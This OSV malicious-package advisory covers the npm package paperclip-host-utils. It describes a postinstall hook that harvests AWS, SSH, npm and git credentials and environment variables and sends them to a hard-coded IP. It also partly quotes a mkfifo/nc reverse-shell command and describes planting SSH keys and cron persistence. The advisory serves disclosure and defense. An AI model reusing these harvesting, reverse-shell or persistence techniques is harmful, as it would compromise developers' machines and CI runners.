MAL-2026-6947

See a problem?
Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/paperclip-host-utils/MAL-2026-6947.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-6947
Aliases
  • GHSA-m74w-fv2m-jcvw
Published
2026-07-07T16:16:40Z
Modified
2026-07-09T17:31:56.282239345Z
Summary
Malicious code in paperclip-host-utils (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (b7e57197a05889313009e318f52b5c6831e6ce6ce928553210c489433d2ef87c)

On npm install, package.json's postinstall executes dist/setup.js and dist/postinstall.js. The scripts read installer-side secrets — ~/.aws/credentials, ~/.aws/config, ~/.ssh/idrsa, ~/.ssh/ided25519, ~/.npmrc, ~/.netrc, ~/.git-credentials, ~/.docker/config.json, GitHub Actions runner paths,.github/workflows contents, and the full process.env — and POST them base64-chunked to http://185.112.147.174:8080/npm/v1/security/audits/quick and http://185.112.147.174:8080/exfil (path disguised as an npm audit endpoint). A find sweep across /home/runner, /home/devuser, /work, and /root harvests files matching flag*, .env, secret, token*, credentials, and *.kubeconfig — purpose-built for GitHub Actions and CI runners. After exfiltration, a detached shell opens named-pipe reverse shells (mkfifo /tmp/.f; /bin/sh -i... nc 185.112.147.174 <port>) in an infinite loop across ports 443, 80, 8080, 7007, 4444, 5555, 1337, and 9001. A sibling routine appends an attacker-controlled ssh-ed25519 key (deploy@paperclip-host) to authorized_keys under /root, /home/runner, /home/devuser, /home/paperclip, /home/ec2-user, and /home/centos, and installs /etc/cron.d/paperclip-adapter-sync plus a user crontab entry that calls back to 185.112.147.174:443 every minute. The package name and README impersonate the @paperclipai adapter family as social-engineering cover; the declared dependency @paperclipai/adapter-utils is pinned to a suspicious ^2026.626.0. Any machine or CI runner that runs npm install on this package is credential-compromised and backdoored.

Source: ghsa-malware (4a7cf91b41f6980a21fe3a566b9f251bffaf8326222d7e34daeadcf864355768)

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Database specific
{
    "malicious-packages-origins": [
        {
            "sha256": "4a7cf91b41f6980a21fe3a566b9f251bffaf8326222d7e34daeadcf864355768",
            "id": "GHSA-m74w-fv2m-jcvw",
            "import_time": "2026-07-07T17:01:10.299357829Z",
            "modified_time": "2026-07-07T16:16:45Z",
            "ranges": [
                {
                    "type": "SEMVER",
                    "events": [
                        {
                            "introduced": "0"
                        }
                    ]
                }
            ],
            "source": "ghsa-malware"
        },
        {
            "versions": [
                "1.0.4"
            ],
            "id": "IN-MAL-2026-008051",
            "modified_time": "2026-07-08T14:31:30Z",
            "sha256": "19ad6bfdf0f2bf0fd118d2b45ceb8f10b862930226861657563e6afdc01fc5a6",
            "import_time": "2026-07-08T15:19:04.038170832Z",
            "source": "amazon-inspector"
        },
        {
            "versions": [
                "1.0.0"
            ],
            "id": "IN-MAL-2026-008049",
            "modified_time": "2026-07-08T14:31:13Z",
            "sha256": "39d6f8dd90ff490147aa7d1b8f24b0592e22fc9ef742abcc15381995dffda966",
            "import_time": "2026-07-08T15:19:03.815254013Z",
            "source": "amazon-inspector"
        },
        {
            "versions": [
                "1.0.2"
            ],
            "id": "IN-MAL-2026-008052",
            "import_time": "2026-07-08T15:19:04.122379341Z",
            "sha256": "4b400b5d02ec8e8455cbb07fe8d24bfe49ad2f66edecfb9ae454042d4cbdb235",
            "modified_time": "2026-07-08T14:31:40Z",
            "source": "amazon-inspector"
        },
        {
            "sha256": "5e2b7cfa4868a61640b661013d4e1ff8eb42fa769d43a629a25bb2489b4e797a",
            "id": "IN-MAL-2026-008050",
            "import_time": "2026-07-08T15:19:03.912760577Z",
            "modified_time": "2026-07-08T14:31:21Z",
            "versions": [
                "1.0.5"
            ],
            "source": "amazon-inspector"
        },
        {
            "versions": [
                "1.0.7"
            ],
            "id": "IN-MAL-2026-008046",
            "modified_time": "2026-07-08T14:30:45Z",
            "import_time": "2026-07-08T15:19:03.511953252Z",
            "sha256": "a4e6104ef788a675283afefe788d9f002624b20d3aeac941bd91c0fc473fc9b8",
            "source": "amazon-inspector"
        },
        {
            "versions": [
                "1.0.6"
            ],
            "id": "IN-MAL-2026-008048",
            "modified_time": "2026-07-08T14:31:03Z",
            "import_time": "2026-07-08T15:19:03.71916449Z",
            "sha256": "b7e57197a05889313009e318f52b5c6831e6ce6ce928553210c489433d2ef87c",
            "source": "amazon-inspector"
        },
        {
            "sha256": "f23a8b8d8ad3ef819854d8af5ebcbc769b9b546985943b9594880291554491f9",
            "id": "IN-MAL-2026-009330",
            "import_time": "2026-07-09T17:19:24.897225121Z",
            "modified_time": "2026-07-09T16:56:49Z",
            "versions": [
                "1.0.3"
            ],
            "source": "amazon-inspector"
        }
    ]
}
References
Credits

Affected packages

npm / paperclip-host-utils

Package

Name
paperclip-host-utils
View open source insights on deps.dev
Purl
pkg:npm/paperclip-host-utils

Affected ranges

Type
SEMVER
Events
Introduced
0Unknown introduced version / All previous versions are affected

Affected versions

1.*
1.0.0
1.0.2
1.0.3
1.0.4
1.0.5
1.0.6
1.0.7

Database specific

indicators
{
    "evidence_files": [
        {
            "sha256": "74454eb6844e3280cfa4b5499ba5b95af8623770bed3dcbdcad6b4c6cecdeea3",
            "tlsh": "1a4145b6fd20c93438054cdda58f656bddcac12b3cc11481a187e9b54befa9ab150f2d",
            "path": "dist/postinstall.js"
        },
        {
            "sha256": "fcd44ef92dcf4dcb176f9f2abc6466f4959dbf3de64ed1b015b7009f1a6f8a6a",
            "tlsh": "ff01dd26c9a4cf1365c950c85dba460796b1081b006dbd1433ca217ccb1e2ef44bf35e",
            "path": "package.json"
        }
    ]
}
cwes
[
    {
        "name": "Embedded Malicious Code",
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature."
    },
    {
        "name": "Embedded Malicious Code",
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature."
    },
    {
        "name": "Embedded Malicious Code",
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature."
    },
    {
        "cweId": "CWE-506",
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature."
    },
    {
        "cweId": "CWE-506",
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature."
    },
    {
        "name": "Embedded Malicious Code",
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature."
    },
    {
        "cweId": "CWE-506",
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature."
    },
    {
        "cweId": "CWE-506",
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature."
    }
]
source
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/paperclip-host-utils/MAL-2026-6947.json"